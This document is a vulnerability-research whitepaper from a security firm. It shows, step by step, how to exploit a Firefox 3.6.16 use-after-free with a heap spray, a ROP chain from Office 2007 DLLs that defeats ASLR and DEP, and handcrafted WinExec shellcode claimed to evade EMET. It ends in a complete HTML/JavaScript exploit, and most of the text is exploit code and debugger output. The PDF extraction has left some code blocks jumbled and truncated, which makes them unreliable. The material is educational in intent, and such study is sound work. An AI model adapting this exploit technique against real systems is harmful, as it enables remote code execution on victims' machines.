Whitepaper On ASLR DEP Bypass Secfence Technologies
Whitepaper On ASLR DEP Bypass Secfence Technologies
Whitepaper On ASLR DEP Bypass Secfence Technologies
WWW.SECFENCE.COM
Bypassing ASLR/DEP
Vulnerability Research Specialist
Whitepaper on
Vinay Katoch
By
WWW.SECFENCE.COM
INTRODUCTION
Data Execution Prevention (DEP) is a security feature included in modern operating systems. It is known to be available in Linux, Mac OS X, and Microsoft Windows operating systems and is intended to prevent an application or service from executing code from a non-executable memory region. Whereas Address space layout randomization (ASLR) is a computer security technique which involves randomly arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, in a process's address space. In this paper we will cover the techniques to bypass these security mechanisms. We will also look at how custom shellcodes are developed, and this paper also looks at the EMET (Enhanced Mitigation Experience Toolkit) bypass.
WWW.SECFENCE.COM
The above leak is little old now, and provides us with a memory address inside mshtml.dll at the address rendered by a.toString(16)-1 This was a good pointer to pointer, similarly, 0x7ffe360 in this line you can find the base address of ntdll.dll in win7 64 bit whereas in all windows 32 bit versions, 7ffe300 has the address of sysenter and 0x7ffe304 the ret instruction. But all these are pointer to pointers i.e. ** whereas to form a shellcode dynamically, we need a direct pointer. The custom shellcodes manufactured dynamically from memory leaks of pointers, can be simple and provide us with more control, than the other traditional shellcodes developed by msf etc. The main advantage of custom shellcodes made by pointer leaks are that, you can easily evade the mitigations like, EMET (enhanced mitigation toolkit) and other AV engines. Let us proceed with an example. The example vulnerability (mchannel) is affecting Firefox 3.6.16.
WWW.SECFENCE.COM
LET US START !
In ASLR and DEP bypassing techniques, remember there is no place for NOP and NOPsled. Only precision matters. The sprayer must be developed in such a way that it will place your chunks (ROP + shellcode) at fixed locations. The slip of even a single byte is non preferable as it will make our ROP to land at wrong addresses. The precision can be achieved by heap manipulation techniques. By proper allocation of calculated sized heap chunks, we can more precisely place our chunks at same addresses every time. Let us proceed with the example and in coding. The example vulnerability (mchannel) is affecting Firefox 3.6.16 and its working exploits are already available. But we'll develop the ROP and shellcode manually and hand crafted without any need for automated scripts as in some cases automation misses certain points and makes the things complex and the solutions are not so intelligent and simple.
<html> <head> </head> <body> <object id="d" ></object> <script> function ignite() { var e=document.getElementById("d"); e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedi rect(null,new Object,0); e.data=""; } </script> <input type=button value="Ignite" onclick="ignite()" /> </body> </html>
In this vulnerability, we can control the ECX register as the place from where EAX register will grab the value can be controlled by a single object instantiation in heap.
WWW.SECFENCE.COM
var obj = unescape("\x00%u0c10"); // will make ECX register to point to at // byte of our chunk will be loaded.
Remember to rename the CrashReporter.exe from Mozilla folder inside your program files. And attach the debugger to the Firefox before exploiting the vulnerability.
6BE14E69 8B08 MOV ECX,DWORD PTR DS:[EAX] ; ; ; ; MOV ESI,804B0002 PUSH ESI PUSH EAX CALL DWORD PTR DS:[ECX+18] ; ; ; ; ; ; ; ; This is where our above allocation will load 0x0C100000 ECX
BE 02004B80 56 50 FF51 18
This is where call will be transferred at address placed at 0x0C100018 so we need to frame our ROP+shellcode module
Next comes the sprayer and ROP +shellcode. First of all we'll use dummy chunk in place of ROP+shellcode and slowly develop the ROP and shellcode over the dummy chunk. so let us proceed. For countering ASLR well use the GrooveUtil.dll & GR469A~1.DLL which comes along with MS office 2007 in GrooveMonitor. These DLLs gets loaded into browsers by default if default installation of MS OFFICE 2007 is present.
<html> <head> </head> <body> <object id="d" ></object> <script>
WWW.SECFENCE.COM
/* command: */
// calc.exe
- 0x2/2);
var vtable = unescape("% u0c0c% u0c0c"); while(vtable.length < 0x10000) {vtable += vtable;} var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2); while (heapblock.length<0x80000) {heapblock += heap+heapblock;} var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 var spray = new Array() for (var iter=0;iter<0x100;iter++){
In code we have to place a blank space between "%" and "u" as unicode support is converting the blocks into respective characters, remember to remove these spaces from all blocks inside unescape blocks. We are going to develop this exploit for win7 -win32 (you may check offsets for winxp, even offsets in win32 & wow64 win7 also differs check them and fix them). Also install the EMET from Microsofts website. It mitigates most of the shellcodes. But our shellcode will also bypass it and will be compact. The Result of above code:
EAX ECX EDX EBX ESP EBP ESI EDI EIP 0400B620 0C100000 0313D970 043D0E04 0018DFCC 0018E1D8 804B0002 80000000 010E010D
The EIP register has been controlled by loading in a value from our chunk 0x010E010D. This value comes from "%u010D%u 010E". So we'll have to place the pointer of our first ROP gadget at "%u 010D%u 010E" place. The first task is to develop the ROP now and in ROP the first and most important and challenging task is the stack pivoting. In stack pivot, the ESP register is loaded with the address to our own allocated heap chunk so that the browser will consider the allocated heap chunk as stack and this new manipulated stack contains all the return addresses and arguments to the called functions. What we have to do actually is we need to either move or swap the register containing address to our allocated heap block into ESP register. Or pop an address of our heap block from stack into ESP register, there can be several instructions. In this case the EAX register contains the pointer to pointer (pointer to address) of our allocated heap block and ecx contain the direct address to our allocated heap chunk. So we need to discover the gadgets which encorporates either eax or ecx registers in case of stack pivoting.
WWW.SECFENCE.COM
or like these can be of help. We could not find anything useful. But following gadget was discovered:
6623BE51 : XCHG EAX,ESP ret
in GR469A~1.DLL We need to replace the "pointer to pointer" with direct pointer in EAX register before executing this gadget. So we need to discover something like
mov EAX,dword ptr[eax] call eax ret
But, this following gadget was discovered and was pretty helpful:
661C5B33 : MOV EAX,DWORD PTR DS:[ECX] CALL DWORD PTR DS:[EAX+8]
This gadget needs the address to be loaded into eax register at place where ECX register is pointing. The ECX register points to first bytes of our heap block and then the next call will be made to the address at ECX + 8. And the debugger out put:
0C100000 0C100008 0C100010 0C100018 0C100020 0C100028 0C100030 0C100038 0C100040 0C100048 0C100050 0C100058 0C100060 0C100068 0C100070 0C100078 0C100080 0C100088 0C100090 0C100098 01 05 09 0D 12 16 1A 1E 90 CC DD 2E 0C 0C 0C 0C 0C 0C 0C 0C 01 01 01 01 01 01 01 01 90 CC DD 65 0C 0C 0C 0C 0C 0C 0C 0C 02 06 0A 0E 13 17 1B 1F 90 CC EE 78 0C 0C 0C 0C 0C 0C 0C 0C 01 01 01 01 01 01 01 01 90 CC EE 65 0C 0C 0C 0C 0C 0C 0C 0C 03 07 0B 0F 14 18 1C 90 CC BB 63 00 0C 0C 0C 0C 0C 0C 0C 0C 01 01 01 01 01 01 01 90 CC BB 61 00 0C 0C 0C 0C 0C 0C 0C 0C 04 08 0C 11 15 19 1D 90 CC CC 6C CC 0C 0C 0C 0C 0C 0C 0C 0C 01 01 01 01 01 01 01 90 CC CC 63 CC 0C 0C 0C 0C 0C 0C 0C
... .
calc .exe.. ........ ........ ........ ........ ........ ........ ........ .......
WWW.SECFENCE.COM
We need to place the first gadget address at 0C100018: 0D 01 0E 1E and change the 0C100000: 01 01 02 01 with address to (address of offset to the address of next gadget[ XCHG EAX,ESP;ret ])-8 that is at "%u 0107%u 0108" if at 0x0C100000 has 0x0C100004 See the following code section:
var heap = unescape(
/* ROP : */ "% u0004%u 0c10" +"% u0103%u 0104" +"%u 0105% u0106" +"%u BE51%u 6623" +"%u 0109%u 010a" +"% u010b%u 010c" +"%u 5B33% u661C" +"% u010f% u0111" +"%u 0112% u0113" +"%u 0114%u 0115" +"%u 0116%u 0117" +"%u 0118% u0119" +"% u011a%u 011b" +"%u 011c%u 011d" +"%u 011e%u 011f" )
// XCHG EAX,ESP;ret // :GR469A~1.DLL // 8B01 MOV EAX,DWORD PTR DS:[ECX] // FF50 08 CALL DWORD PTR DS:[EAX+8]
It will result in loading our intend value into ESP register as following registers dump shows:
EAX ECX EDX EBX ESP EBP ESI EDI EIP 0029DF08 0C100000 03D19160 048C0124 0C100008 0029E118 804B0002 80000000 01040103
And this will result into our heap block transformed into stack as shown below:
0C100000 0C100004 0C100008 0C10000C 0C100010 0C100014 0C100018 0C10001C 0C100020 0C100024 0C100028 0C10002C 0C100030 0C100034 0C100038 0C10003C 0C100040 0C100044 0C100048 0C10004C 0C100050 0C100054 0C100058 0C10005C 0C100004 01040103 01060105 6623BE51 010A0109 010C010B 661C5B33 0111010F 01130112 01150114 01170116 01190118 011B011A 011D011C 011F011E 90909090 90909090 CCCCCCCC CCCCCCCC CCCCBBBB EEEEDDDD 636C6163 6578652E CCCC0000
WWW.SECFENCE.COM
0C100060 0C100064 0C100068 0C10006C 0C100070 0C100074 0C100078 0C10007C 0C100080 0C100084 0C100088 0C10008C 0C100090 0C100094 0C100098 0C10009C 0C1000A0 0C1000A4
0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C 0C0C0C0C
WWW.SECFENCE.COM
PRE STAGE
We have completed the first phase with successful stack pivot, so the next return instruction will land on the address in our stack (our heap block). Now next phase is to get a pointer to the kernel32.VirtualProtect function and put its arguments on our stack to bypass the DEP. The address to VirtualProtect will follow its arguments, it takes 4 arguments, the first argument is the address to the first byte of the shellcode, the second argument is the size of the shellcode block; this can be any dword number but atleast the size of shellcode, 3rd argument is the FLAG the value must be 0x00000040 to set the attribute of memory page contaning shellcode as PAGE_READ_WRITE_EXECUTE. 4rth argument is the pointer to any writable location where old attribute value will be saved, this will be 0x0c0c0c0c in our case or whatever make sure it should be writable. The GrooveUtil.dll contains a call to VirtualProtect at : 0x68F2F1DD as:
68F2F1DD FF15 BC71F668 kernel32.VirtualProtect 68F2F1E3 8BC6 68F2F1E5 5E 68F2F1E6 C9 68F2F1E7 C2 0400 CALL DWORD PTR DS:[<&KERNEL32.VirtualPro>; MOV EAX,ESI POP ESI LEAVE RETN 4
The instruction that will cause trouble is LEAVE it fixes the stack by dissolving the stack frame. The stack frame is the block between ESP and EBP, and until now the EBP register points to an address that will make us lose our stack once again, so the EBP must contain an address just before the start of shellcode. Now we have the following code:
WWW.SECFENCE.COM
// ROP using GrooveUtil.dll : var heap = unescape("%u 0004%u 0c10" +"%u BCBB%u 68F1" //POP EDI; POP EBX; POP ESI; RETN +"%u 0105%u 0106" // +"%u BE51%u 6623" // XCHG EAX,ESP;ret +"%u 0030%u 0c10" // +"%u 7C2A%u 68F0" // POP EDI; POP EBP; RETN +"%u 5B33%u 661C" // // +"% u0030% u0c10" +"%u F1DD% u68F2" +"% u0030% u0c10" +"% u9000% u0000" +"%u 0040% u0000" +"% u0c0c%u 0c0c" attributes /* Shellcode : */ /* command: */ +"%u 0038%u 0c10" // will be popped in esi ) +unescape("%u 9090%u 9090"+"% u9090% u9090" +"%u CCCC% uCCCC% uCCCC% uCCCC" +"%u BBBB%u CCCC%u DDDD%u EEEE" +"% u6163% u636c% u652e% u6578% u0000% ucccc" // calc.exe ); // :GR469A~1.DLL 8B01 MOV EAX,DWORD PTR DS:[ECX] FF50 08 CALL DWORD PTR DS:[EAX+8] // will be popped in ebp // Pointer to Virtual Protect // Base Address of Shellcode // Size of the Page, you can adjust it // PAGE_EXECUTE_READ_WRITE // Writable Location for preserving old
- 0x2/2);
var vtable = unescape("%u 0c0c% u0c0c"); while(vtable.length < 0x10000) {vtable += vtable;} var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2); while (heapblock.length<0x80000) {heapblock += heap+heapblock;} var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 var spray = new Array() for (var iter=0;iter<0x100;iter++){
And it will result into the successful DEP bypass and EIP now lands on our shellcode but the debugger break is called as 0xcc instruction is countered.
EAX ECX EDX EBX ESP EBP ESI 0C100030 0C0FFFDC 770264F4 ntdll.KiFastSystemCallRet 6623BE51 GR469A~1.6623BE51 0C10003C 0C0C0C0C 0C100038
WWW.SECFENCE.COM
WWW.SECFENCE.COM
Now comes the next phase of our mission, the shellcode formation. We have two registers containing addresses within GR469A~1.dll
EBX 6623BE51 GR469A~1.6623BE51 EDI 661C5B33 GR469A~1.661C5B33
We need to find any call to any Kernel32.dll export function and then we'll make EAX register to point to the kernel32 export, now we can add or subtract the proper offset (These offsets are OS dependent you may need to calculate in ur own cases) to make make EAX point to kernel32.WinExec function, then we'll push the arguments, it takes two arguments, first pointer determines whether the window is shown for executed command or not and second argument is the pointer to the command line you want to execute. Following instructions will work for us as EDI contains an address inside the dlL, we need to fix it by adding an offset to make it point to the location where address of export Kernel32.dll is located:
81C7 6D980700 ADD EDI,7986D
Remember interchange the bytes in pair, if the number of bytes is odd then the begining of last pair can be made to a nop 90. Then we will take the address of Kernel32 address into EAX register from pointer to pointer [EDI]:
8B07 MOV EAX,DWORD PTR DS:[EDI]
WWW.SECFENCE.COM
this will yield "%u 078B" The EAX now contains the address of "Kernel32.WaitForSingleObject".
0004EFA0 WaitForSingleObject
This becomes
"%u 056A"
5 means window will be shown. Then we have ecx pointing to somewhere in our heap block.
ECX = 0x0C0FFFDC
We need to fix it also to make it to point to the command to be executed by adding 0x8E it will point to calc.exe.
81C1 8E000000 ADD ECX,8E
WWW.SECFENCE.COM
"%u D0FF"
And with this, you will hit the target! But wait, we also need to terminate the process gently. So copy the eax to some other register like ESI Then fix ESI to point to TerminateProcess and push its argument it needs the handle to process, the pseudo handle to current process is 0xFFFFFFFF or you need to push -1 and call ESI. Then the command buffer will also be in same manner.
calc.exe "%u 6163% u636c% u652e%u 6578%u 0000"
WWW.SECFENCE.COM
And finally after spending a lot of time, we have the exploit code ready. The complete exploit code given below with handcrafted & compact shellcode will even mitigate EMET mechanism:
<html> <head> </head> <body> <object id="d" ></object> <script>
// ROP using GrooveUtil.dll : var heap = unescape("% u0004% u0c10" +"% uBCBB% u68F1" //POP EDI; POP EBX; POP ESI; RETN +"%u 0105% u0106" // +"%u BE51%u 6623" // XCHG EAX,ESP;ret +"%u 0030% u0c10" +"% u7C2A% u68F0" // POP EDI; POP EBP; RETN +"% u5B33% u661C" // // +"% u0030% u0c10" +"% uF1DD% u68F2" +"% u0030% u0c10" +"% u9000% u0000" +"% u0040% u0000" +"% u0c0c% u0c0c" attributes +"% u0038% u0c10" // will be popped in esi ) +unescape("% u9090% u9090"+"% u9090% u9090" +"% uC781% u986D%u 0007" //81C7 6D980700 ADD EDI,7986D // :GR469A~1.DLL 8B01 MOV EAX,DWORD PTR DS:[ECX] FF50 08 CALL DWORD PTR DS:[EAX+8] // will be popped in ebp // Pointer to Virtual Protect // Base Address of Shellcode // Size of the Page, you can adjust it // PAGE_EXECUTE_READ_WRITE // Writable Location for preserving old
WWW.SECFENCE.COM
//
/* command: */
+"% u9090" +"% u056A" //6A 05 PUSH 5 +"% uC181% u008E% u0000" //81C1 8E000000 ADD ECX,8E +"% u9051" //51 PUSH ECX; 90 NOP +"% uF08B" //8BF0 MOV ESI,EAX +"% uD0FF" //FFD0 CALL EAX +"% ucccc" +"%u EE81% u95Fa% u0004"//81EE FA950400 SUB ESI,495FA +"%u FF6A" //6A FF PUSH -1 +"%u D6FF" //FFD6 CALL ESI +"%u CCCC" +"% u6163% u636c% u652e% u6578% u0000% ucccc" );
- 0x2/2);
var vtable = unescape("% u0c0c%u 0c0c"); while(vtable.length < 0x10000) {vtable += vtable;} var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2); while (heapblock.length<0x80000) {heapblock += heap+heapblock;} var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 var spray = new Array() for (var iter=0;iter<0x100;iter++){
WWW.SECFENCE.COM
ABOUT SECFENCE:
Secfence Technologies is a pure-play Information Security Company based out of India providing InfoSec Services, Trainings & Products. We focus on both offensive and defensive sides of security. For more details visit www.secfence.com.
REFRENCES:
http://en.wikipedia.org/wiki/Address_space_layout_randomization http://en.wikipedia.org/wiki/Data_Execution_Prevention
(This article originally appeared as series of posts by the author on Garage4Hackers, a dedicated and excellent platform for security enthusiasts and professionals)
http://www.garage4hackers.com/f22/aslr-dep-bypassingtechniques-1093.html
WWW.SECFENCE.COM
-End of Paper-